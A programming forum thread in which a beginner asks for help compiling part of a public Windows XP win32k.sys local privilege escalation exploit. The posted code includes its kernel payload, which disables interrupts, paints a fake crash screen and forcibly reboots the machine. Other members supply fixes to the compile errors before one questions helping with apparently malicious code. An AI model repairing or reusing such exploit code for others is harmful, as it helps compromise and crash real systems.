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My First Dabble

This is a discussion on My First Dabble within the C Programming forums, part of the General Programming Boards category; Hey guys, This would be my first time fiddling with C, C++ & C# I've recently been modifying this code ...

  1. #1
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    My First Dabble

    Hey guys, This would be my first time fiddling with C, C++ & C#

    I've recently been modifying this code but now i'm kind of stuck on what i've done I keep getting an error "lvalue required as left operand of assignment"

    What am I doing wrong here and what would the solution be? any help would be grately appreciated.

    These are the only lines which cause the error, what am I doing wrong here?

    Code:
    typedef VOID (*INBV_DISPLAY_STRING_FILTER)
    (
        PUCHAR *String
    );
    
    VOID (__stdcall *InbvAcquireDisplayOwnership)
    (
        VOID
    );
    
    VOID (__stdcall *InbvDisplayString)
    (
        IN PCHAR String
    );
    
    VOID (__stdcall *InbvEnableDisplayString)
    (
        IN BOOLEAN Enable
    );
    
    VOID (__stdcall *InbvInstallDisplayStringFilter)
    (
        IN INBV_DISPLAY_STRING_FILTER Filter
    );
    
    VOID (__stdcall *InbvResetDisplay)
    (
        VOID
    );
    
    VOID (__stdcall *InbvSetScrollRegion)
    (
        IN ULONG Left,
        IN ULONG Top,
        IN ULONG Width,
        IN ULONG Height
    );
    
    VOID (__stdcall *InbvSetTextColor)
    (
        IN ULONG Color
    );
    
    VOID (__stdcall *InbvSolidColorFill)
    (
        IN ULONG Left,
        IN ULONG Top,
        IN ULONG Width,
        IN ULONG Height,
        IN ULONG Color
    );
    
    NTSTATUS XxInitInbv(IN ULONG ImageBase, IN ULONG MappedBase)
    {
        NTSTATUS NtStatus;
    
        ANSI_STRING ProcedureName;
    
    
        //
        // InbvAcquireDisplayOwnership
        //
    
        RtlInitAnsiString(&ProcedureName, "InbvAcquireDisplayOwnership");
    
        NtStatus = LdrGetProcedureAddress(
                                          (PVOID)MappedBase,                     // DllHandle
                                          &ProcedureName,                        // ProcedureName
                                          0,                                     // ProcedureNumber OPTIONAL
                                          (PVOID*)&InbvAcquireDisplayOwnership); // ProcedureAddress
    
        if(NtStatus)
        {
            printf(" [*] NtStatus of LdrGetProcedureAddress - InbvAcquireDisplayOwnership - 0x%.8X\n", NtStatus);    
            return NtStatus;
        }
    
        (ULONG)InbvAcquireDisplayOwnership -= MappedBase;
        (ULONG)InbvAcquireDisplayOwnership += ImageBase;
        
    
        //
        // InbvResetDisplay
        //
    
        RtlInitAnsiString(&ProcedureName, "InbvResetDisplay");
    
        NtStatus = LdrGetProcedureAddress(
                                          (PVOID)MappedBase,
                                          &ProcedureName,
                                          0,
                                          (PVOID*)&InbvResetDisplay);
    
        if(NtStatus)
        {
            printf(" [*] NtStatus of LdrGetProcedureAddress - InbvResetDisplay - 0x%.8X\n", NtStatus);    
            return NtStatus;
        }
    
        (ULONG)InbvResetDisplay -= MappedBase;
        (ULONG)InbvResetDisplay += ImageBase;
    
    
        //
        // InbvSolidColorFill
        //
    
        RtlInitAnsiString(&ProcedureName, "InbvSolidColorFill");
    
        NtStatus = LdrGetProcedureAddress(
                                          (PVOID)MappedBase,
                                          &ProcedureName,
                                          0,
                                          (PVOID*)&InbvSolidColorFill);
    
        if(NtStatus)
        {
            printf(" [*] NtStatus of LdrGetProcedureAddress - InbvSolidColorFill - 0x%.8X\n", NtStatus);    
            return NtStatus;
        }
    
        (ULONG)InbvSolidColorFill -= MappedBase;
        (ULONG)InbvSolidColorFill += ImageBase;
    
    
        //
        // InbvSetTextColor
        //
    
        RtlInitAnsiString(&ProcedureName, "InbvSetTextColor");
    
        NtStatus = LdrGetProcedureAddress(
                                          (PVOID)MappedBase,
                                          &ProcedureName,
                                          0,
                                          (PVOID*)&InbvSetTextColor);
    
        if(NtStatus)
        {
            printf(" [*] NtStatus of LdrGetProcedureAddress - InbvSetTextColor - 0x%.8X\n", NtStatus);    
            return NtStatus;
        }
    
        (ULONG)InbvSetTextColor -= MappedBase;
        (ULONG)InbvSetTextColor += ImageBase;
    
    
        //
        // InbvInstallDisplayStringFilter
        //
    
        RtlInitAnsiString(&ProcedureName, "InbvInstallDisplayStringFilter");
    
        NtStatus = LdrGetProcedureAddress(
                                          (PVOID)MappedBase,
                                          &ProcedureName,
                                          0,
                                          (PVOID*)&InbvInstallDisplayStringFilter);
    
        if(NtStatus)
        {
            printf(" [*] NtStatus of LdrGetProcedureAddress - InbvInstallDisplayStringFilter - 0x%.8X\n", NtStatus);    
            return NtStatus;
        }
    
        (ULONG)InbvInstallDisplayStringFilter -= MappedBase;
        (ULONG)InbvInstallDisplayStringFilter += ImageBase;
    
    
        //
        // InbvEnableDisplayString
        //
    
        RtlInitAnsiString(&ProcedureName, "InbvEnableDisplayString");
    
        NtStatus = LdrGetProcedureAddress(
                                          (PVOID)MappedBase,
                                          &ProcedureName,
                                          0,
                                          (PVOID*)&InbvEnableDisplayString);
    
        if(NtStatus)
        {
            printf(" [*] NtStatus of LdrGetProcedureAddress - InbvEnableDisplayString - 0x%.8X\n", NtStatus);    
            return NtStatus;
        }
    
        (ULONG)InbvEnableDisplayString -= MappedBase;
        (ULONG)InbvEnableDisplayString += ImageBase;
    
    
        //
        // InbvSetScrollRegion
        //
    
        RtlInitAnsiString(&ProcedureName, "InbvSetScrollRegion");
    
        NtStatus = LdrGetProcedureAddress(
                                          (PVOID)MappedBase,
                                          &ProcedureName,
                                          0,
                                          (PVOID*)&InbvSetScrollRegion);
    
        if(NtStatus)
        {
            printf(" [*] NtStatus of LdrGetProcedureAddress - InbvSetScrollRegion - 0x%.8X\n", NtStatus);    
            return NtStatus;
        }
    
        (ULONG)InbvSetScrollRegion -= MappedBase;
        (ULONG)InbvSetScrollRegion += ImageBase;
    
    
        //
        // InbvDisplayString
        //
    
        RtlInitAnsiString(&ProcedureName, "InbvDisplayString");
    
        NtStatus = LdrGetProcedureAddress(
                                          (PVOID)MappedBase,
                                          &ProcedureName,
                                          0,
                                          (PVOID*)&InbvDisplayString);
    
        if(NtStatus)
        {
            printf(" [*] NtStatus of LdrGetProcedureAddress - InbvDisplayString - 0x%.8X\n", NtStatus);    
            return NtStatus;
        }
    
        (ULONG)InbvDisplayString -= MappedBase;
        (ULONG)InbvDisplayString += ImageBase;
    
    
        printf(" +----------------------------------------------------------------------------+\n"
               " | InbvAcquireDisplayOwnership - 0x%.8X                                   |\n"
               " | InbvResetDisplay - 0x%.8X                                              |\n"
               " | InbvSolidColorFill - 0x%.8X                                            |\n"
               " | InbvSetTextColor - 0x%.8X                                              |\n"
               " | InbvInstallDisplayStringFilter - 0x%.8X                                |\n"
               " | InbvEnableDisplayString - 0x%.8X                                       |\n"
               " | InbvSetScrollRegion - 0x%.8X                                           |\n"
               " | InbvDisplayString - 0x%.8X                                             |\n"
               " +----------------------------------------------------------------------------+\n\n",
               InbvAcquireDisplayOwnership,
               InbvResetDisplay,
               InbvSolidColorFill,
               InbvSetTextColor,
               InbvInstallDisplayStringFilter,
               InbvEnableDisplayString,
               InbvSetScrollRegion,
               InbvDisplayString);
    
        RtlFreeAnsiString(&ProcedureName);
    
        return STATUS_SUCCESS;
    }
    
    VOID InbvShellCode()
    {
        UCHAR BugCheck01[] = " 3";
        UCHAR BugCheck02[] = " 2";
        UCHAR BugCheck03[] = " 1";
        UCHAR BugCheck04[] = " Rebooting ...";
        UCHAR BugCheckString[] =
        "                                                                                "
        " Microsoft Corporation - http://www.microsoft.com/                              "
        "                                                                                "
        " Affected Software:                                                             "
        " Windows XP Service Pack 2                                                      "
        " Windows XP Service Pack 3                                                      "
        "                                                                                "
        " Affected Driver:                                                               "
        " Multi-User Win32 Driver - win32k.sys <= 5.1.2600.5796                          "
        "                                                                                "
        " Local Privilege Escalation Exploit                                             "
        " For Educational Purposes Only !                                                "
        "                                                                                "
        "                                                                                "
        " NT Internals - http://www.ntinternals.org/                                     "
        " alex ntinternals org                                                           "
        " 30 July 2009                                                                   "
        "                                                                                "
        " References:                                                                    "
        " Exploiting Common Flaws in Drivers                                             "
        " Ruben Santamarta - http://www.reversemode.com/                                 "
        "                                                                                "
        "                                                                                ";
    
        __asm
        {
            //
            // KeDisableInterrupts
            //
            pushf
            pop eax
            and eax, 0x0200
            shr eax, 0x09
            cli
            
            //
            // Prepareing Screen
            //
            call InbvAcquireDisplayOwnership
            
            call InbvResetDisplay
      
            sub esi, esi
            push 0x04
            mov edi, 0x01DF
            push edi
            mov ebx, 0x027F
            push ebx
            push esi
            push esi
            call InbvSolidColorFill    
            
            push 0x0F
            call InbvSetTextColor
            
            push esi
            call InbvInstallDisplayStringFilter
            
            inc esi
            push esi
            call InbvEnableDisplayString
            
            dec edi
            dec edi
            push edi
            push ebx
            dec esi
            push esi
            push esi
            call InbvSetScrollRegion
            
            lea eax, BugCheckString
            push eax
            call InbvDisplayString
                
            mov esi, 0x80000000
            mov ecx, esi
            
            //
            // Countdown
            //
        __loop01:
            dec ecx
            jnz __loop01
            
            lea eax, BugCheck01
            push eax
            call InbvDisplayString
    
            mov ecx, esi
    
        __loop02:
            dec ecx
            jnz __loop02
    
            lea eax, BugCheck02
            push eax
            call InbvDisplayString
    
            mov ecx, esi
    
        __loop03:
            dec ecx
            jnz __loop03
    
            lea eax, BugCheck03
            push eax
            call InbvDisplayString
    
            mov ecx, esi
    
        __loop04:
            dec ecx
            jnz __loop04
    
            lea eax, BugCheck04
            push eax
            call InbvDisplayString
    
            mov ecx, esi
            shl ecx, 0x01
    
        __loop05:
            dec ecx
            jnz __loop05
            
            //
            // Reseting Processor
            //
            mov al, 0xFE
            out 0x64, al
        }
    }
    Last edited by terminology; 08-10-2012 at 10:51 AM. Reason: Narrowing it down

  2. #2
    - - - - - - - - oogabooga's Avatar
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    Put the code back up!

    What does the original code do?

    Could you compile it before?

    What are you trying to modify it to do?

    What did you change?
    The cost of software maintenance increases with the square of the programmer's creativity. - Robert D. Bliss

  3. #3
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    Ahh sorry about that, i'll get it back up

    Well the original code is part of an exploit for the win32k.sys vulnerability which i'm hoping to learn more about, i've tried a few times to compile but these are the only errors which come out so ... at the moment I just want it to work really I have two c source files and two header files which I could put up if needed.

    Thanks for the reply btw.

  4. #4
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    And please post the actual error messages. Don't retype them!

    Bye, Andreas

  5. #5
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    Error Messages are Below: (I've taken all the warnings out)

    Code:
    ||=== Exploit Win32k, Release ===|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|78|error: lvalue required as left operand of assignment|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|79|error: lvalue required as left operand of assignment|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|100|error: lvalue required as left operand of assignment|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|101|error: lvalue required as left operand of assignment|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|122|error: lvalue required as left operand of assignment|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|123|error: lvalue required as left operand of assignment|
    
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|144|error: lvalue required as left operand of assignment|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|145|error: lvalue required as left operand of assignment|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|166|error: lvalue required as left operand of assignment|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|167|error: lvalue required as left operand of assignment|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|188|error: lvalue required as left operand of assignment|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|189|error: lvalue required as left operand of assignment|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|210|error: lvalue required as left operand of assignment|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|211|error: lvalue required as left operand of assignment|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|232|error: lvalue required as left operand of assignment|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|233|error: lvalue required as left operand of assignment|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|292|error: expected '(' before '{' token|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|296|error: 'pushf' undeclared (first use in this function)|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|296|error: (Each undeclared identifier is reported only once|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|296|error: for each function it appears in.)|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|297|error: expected ';' before 'pop'|
    E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|173|error: lvalue required as left operand of assignment|
    E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|174|error: lvalue required as left operand of assignment|
    
    E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|176|error: lvalue required as left operand of assignment|
    E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|219|error: lvalue required as left operand of assignment|
    ||=== Build finished: 25 errors, 96 warnings ===|

  6. #6
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    https://compilr.com/capwn/123/NtUser...Control_Exp.c#

    This is the original code which also throws out the errors, I thought I might have to compile this on Linux since it does have a makefile.

  7. #7
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    You dropped the declaration of InbvSetScrollRegion from your post though, which would have been useful.

    Code:
    VOID (__stdcall *InbvSetScrollRegion)
    (
        IN ULONG Left,
        IN ULONG Top,
        IN ULONG Width,
        IN ULONG Height
    );
    So, InbvDisplayString is a function pointer.

    I think I've just about grasped what you're trying to do (though it's a bit tricky as I think this is C#, which I don't know brilliantly well).

    Code:
    (ULONG)InbvSetScrollRegion -= MappedBase;
    So, InbvSetScrollRegion has a value.... and you want to subtract MappedBase from it. Fair enough. Except you're now allowed to do arithmetic on function pointers in C/C++. So trying it the obvious way would fail:

    Code:
    InbvSetScrollRegion -= MappedBase;
    I expect at that point you'd get an error. So you've made the interesting and very wrong choice of casting the right hand side of the assignment to (ULONG).
    Code:
    (ULONG)InbvSetScrollRegion -= MappedBase;
    You can't do that! You've taken the right hand side and applied a cast to it so it is now a different type. (ULONG)InbvSetScrollRegion isn't a modifiable value, because it doesn't exist in a way that can be modified. InbvSetScrollRegion is a function pointer type - different type with different semantics, so you can't just hope the compiler will let you get away with it. It is like writing:

    Code:
       5 = 1;
    In fact I think that'll give the exact same error lvalue error. The number "5" exists, but you can't assign to it.

    So, where does that leave you? You've trying to modify the address of the function pointer. You can just cast the right hand side of the assignment to ULONG then back to the function pointer type. I think you'll need to typedef a function type for each function you want to do this with, unless C# is more lenient about that kind of thing than C++.

    Code:
    InbvSetScrollRegion =  (func_type) ((ULONG)InbvSetScrollRegion - MappedBase);
    I'm curious to know how this worked before (since you said you've been tinkering with it). I can't see how you could end up with valid code from that sort of construct. But like I said, I really don't know C# well, maybe there's some relevant language difference.

  8. #8
    - - - - - - - - oogabooga's Avatar
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    Put this at the top:
    Code:
    typedef void (*FUNC) (void);
    And replace line 78 with this to see if it gets rid of the error on that line.
    Code:
    InbvAcquireDisplayOwnership = (FUNC)((ULONG)InbvAcquireDisplayOwnership - MappedBase);
    The cost of software maintenance increases with the square of the programmer's creativity. - Robert D. Bliss

  9. #9
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    Well it stops the error on line 78, which is good thank you and it throws this out on the third line

    E:\NtUserConsoleControl_Exp\InvbShellCode.h|3|erro r: expected identifier or '(' before 'PUCHAR'|

    and also the 23 line

    E:\NtUserConsoleControl_Exp\InvbShellCode.h|23|err or: expected ')' before 'Filter'|

  10. #10
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    Here are the new errors:

    Code:
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|3|error: expected identifier or '(' before 'PUCHAR'|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|23|error: expected ')' before 'Filter'|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h||In function 'XxInitInbv':|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|79|error: lvalue required as left operand of assignment|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|101|error: lvalue required as left operand of assignment|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|123|error: lvalue required as left operand of assignment|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|145|error: lvalue required as left operand of assignment|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|158|error: 'InbvInstallDisplayStringFilter' undeclared (first use in this function)|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|158|error: (Each undeclared identifier is reported only once|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|158|error: for each function it appears in.)|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|189|error: lvalue required as left operand of assignment|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|211|error: lvalue required as left operand of assignment|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|233|error: lvalue required as left operand of assignment|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h||In function 'InbvShellCode':|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|292|error: expected '(' before '{' token|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|296|error: 'pushf' undeclared (first use in this function)|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|297|error: expected ';' before 'pop'|
    E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c||In function 'main':|
    
    E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|173|error: invalid operands to binary - (have 'long unsigned int' and 'PVOID')|
    E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|174|error: lvalue required as left operand of assignment|
    
    E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|176|error: lvalue required as left operand of assignment|
    E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|219|error: lvalue required as left operand of assignment|
    
    ||=== Build finished: 19 errors, 0 warnings ===||
    Last edited by terminology; 08-10-2012 at 11:29 AM. Reason: Wrong Errors

  11. #11
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    Well I haven't really tinkered with it much, I meant I've just read the code trying to understand which you post kind of does (thanks for that), I don't think it has ever worked but I have been messing with this is just the original code because the changes I made just threw out more and more errors whilst trying to change it.

  12. #12
    - - - - - - - - oogabooga's Avatar
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    Change all of the line pairs that look like this:
    Code:
        (ULONG)InbvAcquireDisplayOwnership -= MappedBase;
        (ULONG)InbvAcquireDisplayOwnership += ImageBase;
    to this
    Code:
    InbvAcquireDisplayOwnership = (FUNC)((ULONG)InbvAcquireDisplayOwnership - MappedBase + ImageBase);
    Don't just do this for InbvAcquireDisplayOwnership, but for all similar line pairs.
    The cost of software maintenance increases with the square of the programmer's creativity. - Robert D. Bliss

  13. #13
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    Well that seems to have fixed that problem, so here are the other errors but before we go any further could you tell me what has been done here for reference?

    errors:
    Code:
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|3|error: expected identifier or '(' before 'PUCHAR'|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|23|error: expected ')' before 'Filter'|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h||In function 'XxInitInbv':|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|153|error: 'InbvInstallDisplayStringFilter' undeclared (first use in this function)|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|153|error: (Each undeclared identifier is reported only once|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|153|error: for each function it appears in.)|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h||In function 'InbvShellCode':|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|284|error: expected '(' before '{' token|
    
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|288|error: 'pushf' undeclared (first use in this function)|
    E:\NtUserConsoleControl_Exp\InvbShellCode.h|289|error: expected ';' before 'pop'|
    
    E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c||In function 'main':|
    E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|173|error: invalid operands to binary - (have 'long unsigned int' and 'PVOID')|
    
    E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|175|error: lvalue required as left operand of assignment|
    E:\NtUserConsoleControl_Exp\NtUserConsoleControl_Exp.c|218|error: lvalue required as left operand of assignment|
    ||=== Build finished: 11 errors, 0 warnings ===|

  14. #14
    a_capitalist_story
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    Why are we helping with something which appears to be malicious?
    Salem and Click_here like this.

  15. #15
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    Look i'm not trying to get you guys to do all the work, i'm not a script kiddie I am learning code at the minute but I am also learning IT Security as I do wish to become a CEH (Certified Ethical Hacker), I will not be using this with malicious intent, I have already set up a virtual box for testing and even if I did use it it would be that gets into s**t for it so.

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